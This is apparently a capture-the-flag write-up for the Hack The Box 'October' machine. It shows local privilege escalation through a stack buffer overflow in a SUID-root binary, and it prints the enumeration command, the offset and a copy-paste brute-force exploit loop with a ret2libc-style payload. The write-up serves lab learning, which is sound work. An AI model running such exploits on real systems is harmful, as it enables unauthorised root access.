Hack The Box - October Part 2
Hack The Box - October Part 2: Identify a SUID binary, analyze it for unsafe use of strcpy (or similar), determine the exact overwrite offset, and craft an input that pivots execution to our ROP/shellcode to obtain a root shell. • Security • Buffer overflow • gdb, suid
Date: 2025-08-29
Goal: Escalate from user to root via a SUID binary (/usr/local/bin/ovrflw).
Tags: HTB, Linux, SUID, Buffer Overflow, GDB, Privilege Escalation
🎯 Objective
Identify a SUID binary, analyze it for unsafe use of strcpy (or similar), determine the exact overwrite offset, and craft an input that pivots execution to our ROP/shellcode to obtain a root shell.
🧭 TL;DR
- Enumerate SUID binaries.
- Find
/usr/local/bin/ovrflw. - Use
gdbto confirm overflow and determine offset. - Build payload:
'A' * 112 + ROP addresses. - Loop the exploit until it lands; get root. ✅
🧪 Environment Notes
- Target: Linux (HTB box; user foothold already obtained).
- Shell TTY upgrade used:
python -c "import pty; pty.spawn('/bin/bash')" - Local tooling:
gdb,python, basic coreutils.
🔎 Recon & Enumeration
1) List SUID binaries
SUID (“Set owner User ID”) lets an executable run with the file owner’s privileges. If a root‑owned binary has a memory‑safety bug, we may escalate.
# Enumerate SUID binaries (suppress errors to reduce noise)
find / -perm -4000 -type f 2>/dev/nullFrom the output we spot a strong lead:
/usr/local/bin/ovrflwEvidence:
🧩 Vulnerability Analysis
2) Quick check in gdb
We attach the program in gdb and test for overflow characteristics (crashability, registers overwrite, pattern offsets, etc.).
Evidence:
Through testing we determine:
- Offset to return address: 112 bytes
- A simple ROP chain / controlled return path is possible with the following payload layout:
b"A" * 112 + <addresses>
🚀 Exploitation
3) Payload & Launcher
We continuously re‑try the exploit to account for minor runtime variability until it lands:
while true; do
/usr/local/bin/ovrflw $(python -c 'print "A"*112 + "Ó[·`[·¬ûm·"')
doneYou can first improve your TTY for comfort:
python -c "import pty; pty.spawn('/bin/bash')"A successful run yields a privileged execution path (e.g., printing a token, dropping to a root shell, etc.).
Runtime evidence (landing the hit):
6bcb9cff749c9318d2a6e71bbcf30318Proof of success:
🧠 Why This Works (Quick Theory)
- The binary copies unbounded user input into a fixed‑size stack buffer (
strcpy/gets/equivalent). - With 112 bytes we overwrite saved EIP/return address.
- The supplied addresses redirect execution (ROP / ret‑sled) to controlled code path.
- Because the binary is SUID‑root, the hijacked flow executes with effective UID 0 → root.
🧰 Handy Commands (Copy/Paste)
# 1) Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# 2) Upgrade TTY (optional but nice)
python -c "import pty; pty.spawn('/bin/bash')"
# 3) Exploit loop (adjust addresses if needed)
while true; do /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "Ó[·`[·¬ûm·"'); done📝 Lessons Learned
- Always enumerate SUID binaries on Linux targets; small, custom utilities are prime candidates.
- A few minutes in
gdbto get reliable offsets pays off. - Even simple BOFs on SUID‑root programs are game‑ending. Treat them as high severity in real environments.
📎 Appendix: SUID Refresher
Normally, a process runs with the privileges of the user that launched it. With SUID, the process runs with the file owner’s privileges (often root). If that program is memory‑unsafe and user‑controlled input reaches dangerous functions (e.g.,
strcpy), an attacker may steer execution and inherit those elevated privileges.